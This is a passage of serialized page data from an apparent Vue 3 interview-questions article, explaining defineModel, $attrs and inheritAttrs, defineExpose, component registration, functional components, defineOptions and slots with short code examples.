",[132,8009,1853],{"class":233},[132,8011,3120],{"class":138},[132,8013,8014,8016,8019,8021,8023,8025,8028,8031,8033],{"class":134,"line":176},[132,8015,230],{"class":209},[132,8017,8018],{"class":233}," disabled",[132,8020,237],{"class":209},[132,8022,7912],{"class":158},[132,8024,243],{"class":138},[132,8026,8027],{"class":165},"'disabled'",[132,8029,8030],{"class":138},", { default: ",[132,8032,4614],{"class":233},[132,8034,3120],{"class":138},[132,8036,8037,8039,8041],{"class":134,"line":186},[132,8038,179],{"class":138},[132,8040,198],{"class":142},[132,8042,146],{"class":138},[11,8044,8045,8046,8048,8049,8051,8052,8054],{},"Before 3.4, achieving this required a ",[18,8047,629],{}," with a getter reading the prop and a setter calling ",[18,8050,7080],{},". ",[18,8053,6830],{}," is purely a developer-experience improvement, the compiled output is functionally the same prop/emit pair described in question 54.",[34,8056,8058,8059,8061,8062,4600],{"id":8057},"_57-what-is-attrs-and-what-does-setting-inheritattrs-false-do","57. What is ",[18,8060,2499],{},", and what does setting ",[18,8063,8064],{},"inheritAttrs: false",[11,8066,8067,8069,8070,8072,8073,581,8075,581,8077,8080,8081,8084],{},[18,8068,2499],{}," holds all the attributes and event listeners passed to a component from its parent that weren't declared as props (or explicitly listed in ",[18,8071,7251],{},"). Things like ",[18,8074,1658],{},[18,8076,1731],{},[18,8078,8079],{},"data-*"," attributes, or a random ",[18,8082,8083],{},"@click"," handler someone put on your component tend to end up here if you didn't declare them yourself.",[11,8086,8087,8088,8090,8091,1334,8093,8095],{},"By default, Vue automatically applies everything in ",[18,8089,2499],{}," to the component's single root element, this is called \"attribute fallthrough\" and is why you can slap a ",[18,8092,1731],{},[18,8094,1658],{}," on a custom component and have it just land on the right DOM element without you writing any code for it.",[11,8097,8098,8100,8101,8104,8105,8107,8108,8110,8111,8113],{},[18,8099,8064],{}," turns that automatic behavior off, which you use when the automatic target (the root element) isn't actually where those attributes should go, for example a component that wraps a ",[18,8102,8103],{},"\u003Clabel>"," and an ",[18,8106,1651],{},", where attrs like ",[18,8109,1658],{}," really belong on the ",[18,8112,1651],{},", not the outer wrapper.",[123,8115,8117],{"className":125,"code":8116,"language":127,"meta":128,"style":128},"\u003Cscript setup>\ndefineOptions({ inheritAttrs: false })\n\u003C/script>\n\n\u003Ctemplate>\n    \u003Cdiv class=\"field\">\n        \u003Clabel>Name\u003C/label>\n        \u003Cinput v-bind=\"$attrs\" />\n    \u003C/div>\n\u003C/template>\n",[18,8118,8119,8129,8141,8149,8153,8161,8177,8191,8206,8214],{"__ignoreMap":128},[132,8120,8121,8123,8125,8127],{"class":134,"line":135},[132,8122,139],{"class":138},[132,8124,198],{"class":142},[132,8126,201],{"class":158},[132,8128,146],{"class":138},[132,8130,8131,8134,8137,8139],{"class":134,"line":149},[132,8132,8133],{"class":158},"defineOptions",[132,8135,8136],{"class":138},"({ inheritAttrs: ",[132,8138,4614],{"class":233},[132,8140,3120],{"class":138},[132,8142,8143,8145,8147],{"class":134,"line":176},[132,8144,179],{"class":138},[132,8146,198],{"class":142},[132,8148,146],{"class":138},[132,8150,8151],{"class":134,"line":186},[132,8152,190],{"emptyLinePlaceholder":189},[132,8154,8155,8157,8159],{"class":134,"line":193},[132,8156,139],{"class":138},[132,8158,143],{"class":142},[132,8160,146],{"class":138},[132,8162,8163,8165,8167,8170,8172,8175],{"class":134,"line":206},[132,8164,152],{"class":138},[132,8166,1385],{"class":142},[132,8168,8169],{"class":158}," class",[132,8171,162],{"class":138},[132,8173,8174],{"class":165},"\"field\"",[132,8176,146],{"class":138},[132,8178,8179,8181,8184,8187,8189],{"class":134,"line":222},[132,8180,1489],{"class":138},[132,8182,8183],{"class":142},"label",[132,8185,8186],{"class":138},">Name\u003C/",[132,8188,8183],{"class":142},[132,8190,146],{"class":138},[132,8192,8193,8195,8197,8199,8201,8204],{"class":134,"line":227},[132,8194,1489],{"class":138},[132,8196,2200],{"class":142},[132,8198,2428],{"class":158},[132,8200,162],{"class":138},[132,8202,8203],{"class":165},"\"$attrs\"",[132,8205,1287],{"class":138},[132,8207,8208,8210,8212],{"class":134,"line":252},[132,8209,1528],{"class":138},[132,8211,1385],{"class":142},[132,8213,146],{"class":138},[132,8215,8216,8218,8220],{"class":134,"line":257},[132,8217,179],{"class":138},[132,8219,143],{"class":142},[132,8221,146],{"class":138},[11,8223,5687,8224,8226,8227,8229,8230,385],{},[18,8225,2499],{}," is bound explicitly to the ",[18,8228,1651],{}," instead of being auto-applied to the outer ",[18,8231,8232],{},"\u003Cdiv>",[34,8234,8236],{"id":8235},"_58-how-does-attribute-fallthrough-work-for-components-with-multiple-root-nodes","58. How does attribute fallthrough work for components with multiple root nodes?",[11,8238,8239,8240,8242,8243,8245],{},"Attribute fallthrough (auto-applying ",[18,8241,2499],{}," to the DOM) only works cleanly when a component has a single root element, Vue knows exactly where those leftover attributes should land. When a component template has multiple root nodes (a \"fragment\" component, like a ",[18,8244,349],{}," with a couple of sibling elements), Vue has no way to guess which of those roots should receive the attributes, so it does not apply them automatically, and in development it logs a warning if there are unresolved attrs.",[123,8247,8249],{"className":125,"code":8248,"language":127,"meta":128,"style":128},"\u003Ctemplate>\n    \u003Cheader>...\u003C/header>\n    \u003Cmain>...\u003C/main>\n\u003C/template>\n",[18,8250,8251,8259,8273,8286],{"__ignoreMap":128},[132,8252,8253,8255,8257],{"class":134,"line":135},[132,8254,139],{"class":138},[132,8256,143],{"class":142},[132,8258,146],{"class":138},[132,8260,8261,8263,8266,8269,8271],{"class":134,"line":149},[132,8262,152],{"class":138},[132,8264,8265],{"class":142},"header",[132,8267,8268],{"class":138},">...\u003C/",[132,8270,8265],{"class":142},[132,8272,146],{"class":138},[132,8274,8275,8277,8280,8282,8284],{"class":134,"line":176},[132,8276,152],{"class":138},[132,8278,8279],{"class":142},"main",[132,8281,8268],{"class":138},[132,8283,8279],{"class":142},[132,8285,146],{"class":138},[132,8287,8288,8290,8292],{"class":134,"line":186},[132,8289,179],{"class":138},[132,8291,143],{"class":142},[132,8293,146],{"class":138},[11,8295,8296,8297,8299],{},"To fix the warning and actually apply the fallthrough attributes somewhere sensible, you bind ",[18,8298,2499],{}," manually to whichever root element makes sense:",[123,8301,8303],{"className":125,"code":8302,"language":127,"meta":128,"style":128},"\u003Ctemplate>\n    \u003Cheader v-bind=\"$attrs\">...\u003C/header>\n    \u003Cmain>...\u003C/main>\n\u003C/template>\n",[18,8304,8305,8313,8331,8343],{"__ignoreMap":128},[132,8306,8307,8309,8311],{"class":134,"line":135},[132,8308,139],{"class":138},[132,8310,143],{"class":142},[132,8312,146],{"class":138},[132,8314,8315,8317,8319,8321,8323,8325,8327,8329],{"class":134,"line":149},[132,8316,152],{"class":138},[132,8318,8265],{"class":142},[132,8320,2428],{"class":158},[132,8322,162],{"class":138},[132,8324,8203],{"class":165},[132,8326,8268],{"class":138},[132,8328,8265],{"class":142},[132,8330,146],{"class":138},[132,8332,8333,8335,8337,8339,8341],{"class":134,"line":176},[132,8334,152],{"class":138},[132,8336,8279],{"class":142},[132,8338,8268],{"class":138},[132,8340,8279],{"class":142},[132,8342,146],{"class":138},[132,8344,8345,8347,8349],{"class":134,"line":186},[132,8346,179],{"class":138},[132,8348,143],{"class":142},[132,8350,146],{"class":138},[11,8352,8353,8354,8356],{},"This is really the same rule as ",[18,8355,8064],{},", Vue only auto-applies attrs when it's unambiguous which element should receive them, and steps back to let you decide explicitly whenever that's not the case.",[34,8358,8360,8361,8364,8365,1349],{"id":8359},"_59-what-is-defineexpose-and-why-do-you-need-it-with-script-setup","59. What is ",[18,8362,8363],{},"defineExpose",", and why do you need it with ",[18,8366,20],{},[11,8368,8369,8371,8372,8374],{},[18,8370,8363],{}," is a compiler macro that lets a component explicitly choose which of its internal properties and methods a parent is allowed to access through a template ref. By default, components written with ",[18,8373,20],{}," are \"closed\": everything declared inside the script block is private to that component and invisible from the outside, even if the parent holds a template ref pointing at it.",[123,8376,8378],{"className":125,"code":8377,"language":127,"meta":128,"style":128},"\u003C!-- Child.vue -->\n\u003Cscript setup>\nimport { ref } from 'vue'\n\nconst count = ref(0)\nfunction reset() {\n    count.value = 0\n}\n\ndefineExpose({ reset })\n\u003C/script>\n",[18,8379,8380,8385,8395,8405,8409,8425,8434,8443,8447,8451,8458],{"__ignoreMap":128},[132,8381,8382],{"class":134,"line":135},[132,8383,8384],{"class":397},"\u003C!-- Child.vue -->\n",[132,8386,8387,8389,8391,8393],{"class":134,"line":149},[132,8388,139],{"class":138},[132,8390,198],{"class":142},[132,8392,201],{"class":158},[132,8394,146],{"class":138},[132,8396,8397,8399,8401,8403],{"class":134,"line":176},[132,8398,210],{"class":209},[132,8400,213],{"class":138},[132,8402,216],{"class":209},[132,8404,219],{"class":165},[132,8406,8407],{"class":134,"line":186},[132,8408,190],{"emptyLinePlaceholder":189},[132,8410,8411,8413,8415,8417,8419,8421,8423],{"class":134,"line":193},[132,8412,230],{"class":209},[132,8414,234],{"class":233},[132,8416,237],{"class":209},[132,8418,240],{"class":158},[132,8420,243],{"class":138},[132,8422,246],{"class":233},[132,8424,249],{"class":138},[132,8426,8427,8429,8432],{"class":134,"line":206},[132,8428,260],{"class":209},[132,8430,8431],{"class":158}," reset",[132,8433,266],{"class":138},[132,8435,8436,8439,8441],{"class":134,"line":222},[132,8437,8438],{"class":138},"    count.value ",[132,8440,162],{"class":209},[132,8442,7330],{"class":233},[132,8444,8445],{"class":134,"line":227},[132,8446,281],{"class":138},[132,8448,8449],{"class":134,"line":252},[132,8450,190],{"emptyLinePlaceholder":189},[132,8452,8453,8455],{"class":134,"line":257},[132,8454,8363],{"class":158},[132,8456,8457],{"class":138},"({ reset })\n",[132,8459,8460,8462,8464],{"class":134,"line":269},[132,8461,179],{"class":138},[132,8463,198],{"class":142},[132,8465,146],{"class":138},[123,8467,8469],{"className":125,"code":8468,"language":127,"meta":128,"style":128},"\u003C!-- Parent.vue -->\n\u003Cscript setup>\nimport { ref } from 'vue'\nconst childRef = ref(null)\n\nfunction resetChild() {\n    childRef.value.reset()\n}\n\u003C/script>\n\n\u003Ctemplate>\n    \u003CChild ref=\"childRef\" />\n\u003C/template>\n",[18,8470,8471,8476,8486,8496,8513,8517,8526,8536,8540,8548,8552,8560,8576],{"__ignoreMap":128},[132,8472,8473],{"class":134,"line":135},[132,8474,8475],{"class":397},"\u003C!-- Parent.vue -->\n",[132,8477,8478,8480,8482,8484],{"class":134,"line":149},[132,8479,139],{"class":138},[132,8481,198],{"class":142},[132,8483,201],{"class":158},[132,8485,146],{"class":138},[132,8487,8488,8490,8492,8494],{"class":134,"line":176},[132,8489,210],{"class":209},[132,8491,213],{"class":138},[132,8493,216],{"class":209},[132,8495,219],{"class":165},[132,8497,8498,8500,8503,8505,8507,8509,8511],{"class":134,"line":186},[132,8499,230],{"class":209},[132,8501,8502],{"class":233}," childRef",[132,8504,237],{"class":209},[132,8506,240],{"class":158},[132,8508,243],{"class":138},[132,8510,719],{"class":233},[132,8512,249],{"class":138},[132,8514,8515],{"class":134,"line":193},[132,8516,190],{"emptyLinePlaceholder":189},[132,8518,8519,8521,8524],{"class":134,"line":206},[132,8520,260],{"class":209},[132,8522,8523],{"class":158}," resetChild",[132,8525,266],{"class":138},[132,8527,8528,8531,8534],{"class":134,"line":222},[132,8529,8530],{"class":138},"    childRef.value.",[132,8532,8533],{"class":158},"reset",[132,8535,4951],{"class":138},[132,8537,8538],{"class":134,"line":227},[132,8539,281],{"class":138},[132,8541,8542,8544,8546],{"class":134,"line":252},[132,8543,179],{"class":138},[132,8545,198],{"class":142},[132,8547,146],{"class":138},[132,8549,8550],{"class":134,"line":257},[132,8551,190],{"emptyLinePlaceholder":189},[132,8553,8554,8556,8558],{"class":134,"line":269},[132,8555,139],{"class":138},[132,8557,143],{"class":142},[132,8559,146],{"class":138},[132,8561,8562,8564,8567,8569,8571,8574],{"class":134,"line":278},[132,8563,152],{"class":138},[132,8565,8566],{"class":142},"Child",[132,8568,240],{"class":158},[132,8570,162],{"class":138},[132,8572,8573],{"class":165},"\"childRef\"",[132,8575,1287],{"class":138},[132,8577,8578,8580,8582],{"class":134,"line":284},[132,8579,179],{"class":138},[132,8581,143],{"class":142},[132,8583,146],{"class":138},[11,8585,8586,8587,8590,8591,8594,8595,8598,8599,8601,8602,8605],{},"Without the ",[18,8588,8589],{},"defineExpose({ reset })"," call, ",[18,8592,8593],{},"childRef.value.reset"," would be ",[18,8596,8597],{},"undefined",", since ",[18,8600,20],{}," doesn't expose anything by default (unlike the Options API, where every property on ",[18,8603,8604],{},"this"," is reachable through a template ref automatically). It's an intentional design choice: it keeps a component's internals private unless it explicitly opts in to being controlled imperatively from outside.",[34,8607,8609],{"id":8608},"_60-what-is-the-difference-between-locally-and-globally-registering-a-component","60. What is the difference between locally and globally registering a component?",[11,8611,8612,8613,8615],{},"Local registration makes a component available only within the specific component that registers it. In ",[18,8614,20],{},", this happens automatically just by importing the component, no separate registration step needed, and it's usable in that file's template right away.",[11,8617,8618,8619,8622,8623,385],{},"Global registration makes a component available in every template in the entire app, with no per-file import required, by calling ",[18,8620,8621],{},"app.component()"," on the app instance during setup, typically in ",[18,8624,8625],{},"main.js",[123,8627,8629],{"className":388,"code":8628,"language":390,"meta":128,"style":128},"// Global registration (main.js)\nimport { createApp } from 'vue'\nimport BaseButton from './components/BaseButton.vue'\n\nconst app = createApp(App)\napp.component('BaseButton', BaseButton)\n",[18,8630,8631,8636,8646,8658,8662,8674],{"__ignoreMap":128},[132,8632,8633],{"class":134,"line":135},[132,8634,8635],{"class":397},"// Global registration (main.js)\n",[132,8637,8638,8640,8642,8644],{"class":134,"line":149},[132,8639,210],{"class":209},[132,8641,405],{"class":138},[132,8643,216],{"class":209},[132,8645,219],{"class":165},[132,8647,8648,8650,8653,8655],{"class":134,"line":176},[132,8649,210],{"class":209},[132,8651,8652],{"class":138}," BaseButton ",[132,8654,216],{"class":209},[132,8656,8657],{"class":165}," './components/BaseButton.vue'\n",[132,8659,8660],{"class":134,"line":186},[132,8661,190],{"emptyLinePlaceholder":189},[132,8663,8664,8666,8668,8670,8672],{"class":134,"line":193},[132,8665,230],{"class":209},[132,8667,432],{"class":233},[132,8669,237],{"class":209},[132,8671,437],{"class":158},[132,8673,440],{"class":138},[132,8675,8676,8678,8680,8682,8685],{"class":134,"line":206},[132,8677,449],{"class":138},[132,8679,1039],{"class":158},[132,8681,243],{"class":138},[132,8683,8684],{"class":165},"'BaseButton'",[132,8686,8687],{"class":138},", BaseButton)\n",[123,8689,8691],{"className":125,"code":8690,"language":127,"meta":128,"style":128},"\u003C!-- Local registration -->\n\u003Cscript setup>\nimport BaseButton from './components/BaseButton.vue'\n\u003C/script>\n\n\u003Ctemplate>\n    \u003CBaseButton />\n\u003C/template>\n",[18,8692,8693,8698,8708,8718,8726,8730,8738,8747],{"__ignoreMap":128},[132,8694,8695],{"class":134,"line":135},[132,8696,8697],{"class":397},"\u003C!-- Local registration -->\n",[132,8699,8700,8702,8704,8706],{"class":134,"line":149},[132,8701,139],{"class":138},[132,8703,198],{"class":142},[132,8705,201],{"class":158},[132,8707,146],{"class":138},[132,8709,8710,8712,8714,8716],{"class":134,"line":176},[132,8711,210],{"class":209},[132,8713,8652],{"class":138},[132,8715,216],{"class":209},[132,8717,8657],{"class":165},[132,8719,8720,8722,8724],{"class":134,"line":186},[132,8721,179],{"class":138},[132,8723,198],{"class":142},[132,8725,146],{"class":138},[132,8727,8728],{"class":134,"line":193},[132,8729,190],{"emptyLinePlaceholder":189},[132,8731,8732,8734,8736],{"class":134,"line":206},[132,8733,139],{"class":138},[132,8735,143],{"class":142},[132,8737,146],{"class":138},[132,8739,8740,8742,8745],{"class":134,"line":222},[132,8741,152],{"class":138},[132,8743,8744],{"class":142},"BaseButton",[132,8746,1287],{"class":138},[132,8748,8749,8751,8753],{"class":134,"line":227},[132,8750,179],{"class":138},[132,8752,143],{"class":142},[132,8754,146],{"class":138},[11,8756,8757],{},"Global registration is convenient for components you truly use everywhere, like a base button or icon component, but it comes with a real cost: bundlers can't tree-shake globally registered components, they end up in the main bundle whether or not a given page actually uses them. Local registration keeps the dependency explicit and lets unused components be excluded from a page's bundle, which is why it's the recommended default for most components in most apps.",[34,8759,8761],{"id":8760},"_61-what-are-functional-components-and-when-would-you-reach-for-one","61. What are functional components, and when would you reach for one?",[11,8763,8764,8765,8768],{},"A functional component is a component with no internal state, no lifecycle hooks, and no component instance at all, it's just a plain function that takes props and returns a VNode (the same thing a ",[18,8766,8767],{},"render"," function returns). Because there's no instance to create or track, they're cheaper to render than a stateful component.",[123,8770,8772],{"className":388,"code":8771,"language":390,"meta":128,"style":128},"import { h } from 'vue'\n\nfunction StatusIcon(props) {\n    return h('span', { class: `icon icon-${props.status}` })\n}\n\nStatusIcon.props = ['status']\n\nexport default StatusIcon\n",[18,8773,8774,8785,8789,8802,8830,8834,8838,8853,8857],{"__ignoreMap":128},[132,8775,8776,8778,8781,8783],{"class":134,"line":135},[132,8777,210],{"class":209},[132,8779,8780],{"class":138}," { h } ",[132,8782,216],{"class":209},[132,8784,219],{"class":165},[132,8786,8787],{"class":134,"line":149},[132,8788,190],{"emptyLinePlaceholder":189},[132,8790,8791,8793,8796,8798,8800],{"class":134,"line":176},[132,8792,260],{"class":209},[132,8794,8795],{"class":158}," StatusIcon",[132,8797,243],{"class":138},[132,8799,4310],{"class":697},[132,8801,701],{"class":138},[132,8803,8804,8806,8808,8810,8813,8816,8819,8821,8823,8826,8828],{"class":134,"line":186},[132,8805,706],{"class":209},[132,8807,709],{"class":158},[132,8809,243],{"class":138},[132,8811,8812],{"class":165},"'span'",[132,8814,8815],{"class":138},", { class: ",[132,8817,8818],{"class":165},"`icon icon-${",[132,8820,4310],{"class":138},[132,8822,385],{"class":165},[132,8824,8825],{"class":138},"status",[132,8827,6400],{"class":165},[132,8829,3120],{"class":138},[132,8831,8832],{"class":134,"line":193},[132,8833,281],{"class":138},[132,8835,8836],{"class":134,"line":206},[132,8837,190],{"emptyLinePlaceholder":189},[132,8839,8840,8843,8845,8847,8850],{"class":134,"line":222},[132,8841,8842],{"class":138},"StatusIcon.props ",[132,8844,162],{"class":209},[132,8846,5849],{"class":138},[132,8848,8849],{"class":165},"'status'",[132,8851,8852],{"class":138},"]\n",[132,8854,8855],{"class":134,"line":227},[132,8856,190],{"emptyLinePlaceholder":189},[132,8858,8859,8861,8863],{"class":134,"line":252},[132,8860,807],{"class":209},[132,8862,810],{"class":209},[132,8864,8865],{"class":138}," StatusIcon\n",[11,8867,8868,8869,8871],{},"In modern Vue 3, this trade-off matters much less than it used to, stateful components are already fast, so functional components aren't a general-purpose performance trick. They're worth reaching for when you have a genuinely simple, purely presentational component that just renders differently based on its props, and you're instantiating a lot of them, for example an icon component rendered hundreds of times in a table, where skipping instance creation adds up. Outside of that fairly narrow case, a normal ",[18,8870,20],{}," component is simpler to read and maintain.",[34,8873,8875,8876,8878,8879,1349],{"id":8874},"_62-what-does-defineoptions-do-in-script-setup","62. What does ",[18,8877,8133],{}," do in ",[18,8880,20],{},[11,8882,8883,8885,8886,8888,8889,1334,8891,8893,8894,8896,8897,8900,8901,385],{},[18,8884,8133],{}," is a compiler macro that lets you declare plain component options inside ",[18,8887,20],{}," that don't already have their own dedicated macro (like ",[18,8890,6501],{},[18,8892,7068],{},"). It exists because ",[18,8895,20],{}," has no ",[18,8898,8899],{},"export default { ... }"," object to attach arbitrary options to, so without it there'd be no way to set things like a component ",[18,8902,3866],{},[123,8904,8906],{"className":125,"code":8905,"language":127,"meta":128,"style":128},"\u003Cscript setup>\ndefineOptions({\n    name: 'UserCard',\n    inheritAttrs: false\n})\n\u003C/script>\n",[18,8907,8908,8918,8924,8933,8941,8945],{"__ignoreMap":128},[132,8909,8910,8912,8914,8916],{"class":134,"line":135},[132,8911,139],{"class":138},[132,8913,198],{"class":142},[132,8915,201],{"class":158},[132,8917,146],{"class":138},[132,8919,8920,8922],{"class":134,"line":149},[132,8921,8133],{"class":158},[132,8923,4542],{"class":138},[132,8925,8926,8929,8931],{"class":134,"line":176},[132,8927,8928],{"class":138},"    name: ",[132,8930,1044],{"class":165},[132,8932,2377],{"class":138},[132,8934,8935,8938],{"class":134,"line":186},[132,8936,8937],{"class":138},"    inheritAttrs: ",[132,8939,8940],{"class":233},"false\n",[132,8942,8943],{"class":134,"line":193},[132,8944,3156],{"class":138},[132,8946,8947,8949,8951],{"class":134,"line":206},[132,8948,179],{"class":138},[132,8950,198],{"class":142},[132,8952,146],{"class":138},[11,8954,8955,8956,8958,8959,8961,8962,8965,8966,8968],{},"The most common use is setting ",[18,8957,3866],{}," explicitly, which ",[18,8960,20],{}," can usually infer automatically from the filename during build, but that inference doesn't always work (for example with certain build setups or dynamic imports), and an explicit name is needed for things like Vue devtools display, ",[18,8963,8964],{},"\u003CKeepAlive include=\"UserCard\">"," matching, and recursive self-referencing components. It can also carry any other Options API-style option that isn't covered by a more specific ",[18,8967,20],{}," macro.",[29,8970,8972],{"id":8971},"slots-and-content-distribution","Slots and Content Distribution",[34,8974,8976],{"id":8975},"_63-what-are-slots-in-vue-and-what-problem-do-they-solve","63. What are slots in Vue, and what problem do they solve?",[11,8978,8979],{},"Slots are how a component lets its parent inject markup into a specific spot in its template, instead of only accepting data through props. Props are great for passing values, but they are awkward for passing chunks of HTML or other components. Slots solve that by giving a component a \"hole\" that the parent fills in.",[11,8981,8982],{},"This is what makes wrapper components like cards, modals, or layout shells reusable: the component owns the structure and styling, and the parent owns the content.",[123,8984,8986],{"className":125,"code":8985,"language":127,"meta":128,"style":128},"\u003C!-- Card.vue -->\n\u003Ctemplate>\n    \u003Cdiv class=\"card\">\n        \u003Cslot>\u003C/slot>\n    \u003C/div>\n\u003C/template>\n",[18,8987,8988,8993,9001,9016,9029,9037],{"__ignoreMap":128},[132,8989,8990],{"class":134,"line":135},[132,8991,8992],{"class":397},"\u003C!-- Card.vue -->\n",[132,8994,8995,8997,8999],{"class":134,"line":149},[132,8996,139],{"class":138},[132,8998,143],{"class":142},[132,9000,146],{"class":138},[132,9002,9003,9005,9007,9009,9011,9014],{"class":134,"line":176},[132,9004,152],{"class":138},[132,9006,1385],{"class":142},[132,9008,8169],{"class":158},[132,9010,162],{"class":138},[132,9012,9013],{"class":165},"\"card\"",[132,9015,146],{"class":138},[132,9017,9018,9020,9023,9025,9027],{"class":134,"line":186},[132,9019,1489],{"class":138},[132,9021,9022],{"class":142},"slot",[132,9024,1767],{"class":138},[132,9026,9022],{"class":142},[132,9028,146],{"class":138},[132,9030,9031,9033,9035],{"class":134,"line":193},[132,9032,1528],{"class":138},[132,9034,1385],{"class":142},[132,9036,146],{"class":138},[132,9038,9039,9041,9043],{"class":134,"line":206},[132,9040,179],{"class":138},[132,9042,143],{"class":142},[132,9044,146],{"class":138},[123,9046,9048],{"className":125,"code":9047,"language":127,"meta":128,"style":128},"\u003C!-- usage -->\n\u003CCard>\n    \u003Ch2>Title\u003C/h2>\n    \u003Cp>Some content passed in from the parent.\u003C/p>\n\u003C/Card>\n",[18,9049,9050,9055,9064,9069,9074],{"__ignoreMap":128},[132,9051,9052],{"class":134,"line":135},[132,9053,9054],{"class":397},"\u003C!-- usage -->\n",[132,9056,9057,9059,9062],{"class":134,"line":149},[132,9058,139],{"class":138},[132,9060,9061],{"class":142},"Card",[132,9063,146],{"class":138},[132,9065,9066],{"class":134,"line":176},[132,9067,9068],{"class":138},"    \u003Ch2>Title\u003C/h2>\n",[132,9070,9071],{"class":134,"line":186},[132,9072,9073],{"class":138},"    \u003Cp>Some content passed in from the parent.\u003C/p>\n",[132,9075,9076,9078,9080],{"class":134,"line":193},[132,9077,179],{"class":138},[132,9079,9061],{"class":142},[132,9081,146],{"class":138},[11,9083,9084,9085,592,9088,9091,9092,9095,9096,9099,9100,9103],{},"Whatever markup you put between ",[18,9086,9087],{},"\u003CCard>",[18,9089,9090],{},"\u003C/Card>"," gets rendered wherever ",[18,9093,9094],{},"\u003Cslot>\u003C/slot>"," sits inside ",[18,9097,9098],{},"Card.vue",". If a component has no ",[18,9101,9102],{},"\u003Cslot>"," tag, anything you place between its tags is simply discarded.",[34,9105,9107],{"id":9106},"_64-what-is-a-named-slot","64. What is a named slot?",[11,9109,9110,9111,9114,9115,9118,9119,9122],{},"A named slot lets a component expose more than one insertion point, each identified by a name, so the parent can send different content to different parts of the child's template. You define one with ",[18,9112,9113],{},"\u003Cslot name=\"header\">\u003C/slot>"," in the child, and fill it from the parent using ",[18,9116,9117],{},"\u003Ctemplate #header>"," (shorthand for ",[18,9120,9121],{},"v-slot:header",").",[11,9124,9125,9126,9129],{},"Any slot content without a ",[18,9127,9128],{},"#name"," goes to the special \"default\" slot.",[123,9131,9133],{"className":125,"code":9132,"language":127,"meta":128,"style":128},"\u003C!-- Layout.vue -->\n\u003Ctemplate>\n    \u003Cheader>\u003Cslot name=\"header\">\u003C/slot>\u003C/header>\n    \u003Cmain>\u003Cslot>\u003C/slot>\u003C/main>\n    \u003Cfooter>\u003Cslot name=\"footer\">\u003C/slot>\u003C/footer>\n\u003C/template>\n",[18,9134,9135,9140,9148,9177,9197,9225],{"__ignoreMap":128},[132,9136,9137],{"class":134,"line":135},[132,9138,9139],{"class":397},"\u003C!-- Layout.vue -->\n",[132,9141,9142,9144,9146],{"class":134,"line":149},[132,9143,139],{"class":138},[132,9145,143],{"class":142},[132,9147,146],{"class":138},[132,9149,9150,9152,9154,9157,9159,9162,9164,9167,9169,9171,9173,9175],{"class":134,"line":176},[132,9151,152],{"class":138},[132,9153,8265],{"class":142},[132,9155,9156],{"class":138},">\u003C",[132,9158,9022],{"class":142},[132,9160,9161],{"class":158}," name",[132,9163,162],{"class":138},[132,9165,9166],{"class":165},"\"header\"",[132,9168,1767],{"class":138},[132,9170,9022],{"class":142},[132,9172,1767],{"class":138},[132,9174,8265],{"class":142},[132,9176,146],{"class":138},[132,9178,9179,9181,9183,9185,9187,9189,9191,9193,9195],{"class":134,"line":186},[132,9180,152],{"class":138},[132,9182,8279],{"class":142},[132,9184,9156],{"class":138},[132,9186,9022],{"class":142},[132,9188,1767],{"class":138},[132,9190,9022],{"class":142},[132,9192,1767],{"class":138},[132,9194,8279],{"class":142},[132,9196,146],{"class":138},[132,9198,9199,9201,9204,9206,9208,9210,9212,9215,9217,9219,9221,9223],{"class":134,"line":193},[132,9200,152],{"class":138},[132,9202,9203],{"class":142},"footer",[132,9205,9156],{"class":138},[132,9207,9022],{"class":142},[132,9209,9161],{"class":158},[132,9211,162],{"class":138},[132,9213,9214],{"class":165},"\"footer\"",[132,9216,1767],{"class":138},[132,9218,9022],{"class":142},[132,9220,1767],{"class":138},[132,9222,9203],{"class":142},[132,9224,146],{"class":138},[132,9226,9227,9229,9231],{"class":134,"line":206},[132,9228,179],{"class":138},[132,9230,143],{"class":142},[132,9232,146],{"class":138},[123,9234,9236],{"className":125,"code":9235,"language":127,"meta":128,"style":128},"\u003C!-- usage -->\n\u003CLayout>\n    \u003Ctemplate #header>\n        \u003Ch1>Page Title\u003C/h1>\n    \u003C/template>\n\n    \u003Cp>Main content goes in the default slot.\u003C/p>\n\n    \u003Ctemplate #footer>\n        \u003Csmall>© 2026\u003C/small>\n    \u003C/template>\n\u003C/Layout>\n",[18,9237,9238,9242,9251,9256,9261,9266,9270,9275,9279,9284,9289,9293],{"__ignoreMap":128},[132,9239,9240],{"class":134,"line":135},[132,9241,9054],{"class":397},[132,9243,9244,9246,9249],{"class":134,"line":149},[132,9245,139],{"class":138},[132,9247,9248],{"class":142},"Layout",[132,9250,146],{"class":138},[132,9252,9253],{"class":134,"line":176},[132,9254,9255],{"class":138},"    \u003Ctemplate #header>\n",[132,9257,9258],{"class":134,"line":186},[132,9259,9260],{"class":138},"        \u003Ch1>Page Title\u003C/h1>\n",[132,9262,9263],{"class":134,"line":193},[132,9264,9265],{"class":138},"    \u003C/template>\n",[132,9267,9268],{"class":134,"line":206},[132,9269,190],{"emptyLinePlaceholder":189},[132,9271,9272],{"class":134,"line":222},[132,9273,9274],{"class":138},"    \u003Cp>Main content goes in the default slot.\u003C/p>\n",[132,9276,9277],{"class":134,"line":227},[132,9278,190],{"emptyLinePlaceholder":189},[132,9280,9281],{"class":134,"line":252},[132,9282,9283],{"class":138},"    \u003Ctemplate #footer>\n",[132,9285,9286],{"class":134,"line":257},[132,9287,9288],{"class":138},"        \u003Csmall>© 2026\u003C/small>\n",[132,9290,9291],{"class":134,"line":269},[132,9292,9265],{"class":138},[132,9294,9295,9297,9299],{"class":134,"line":278},[132,9296,179],{"class":138},[132,9298,9248],{"class":142},[132,9300,146],{"class":138},[11,9302,9303],{},"Named slots are what make multi-region components (page layouts, dialogs with a header/body/footer) possible without hardcoding structure.",[34,9305,9307],{"id":9306},"_65-what-is-a-scoped-slot-and-why-would-a-child-component-pass-data-back-through-its-slot","65. What is a scoped slot, and why would a child component pass data back through its slot?",[11,9309,9310],{},"A scoped slot is a slot that carries data from the child back out to the parent, so the parent's slot content can use information the child owns, such as loop items or internal state. Normally content flows one way: parent to child. A scoped slot flips a small part of that, letting the child hand data to the slot content while still letting the parent decide how to render it.",[11,9312,9313,9314,9316,9317,9320,9321,9122],{},"The child passes data by binding it as attributes on the ",[18,9315,9102],{}," element, and the parent reads it through ",[18,9318,9319],{},"v-slot=\"props\""," (or destructured, ",[18,9322,9323],{},"v-slot=\"{ item }\"",[123,9325,9327],{"className":125,"code":9326,"language":127,"meta":128,"style":128},"\u003C!-- UserList.vue -->\n\u003Ctemplate>\n    \u003Cul>\n        \u003Cli v-for=\"user in users\" :key=\"user.id\">\n            \u003Cslot :user=\"user\" :is-active=\"user.active\">\u003C/slot>\n        \u003C/li>\n    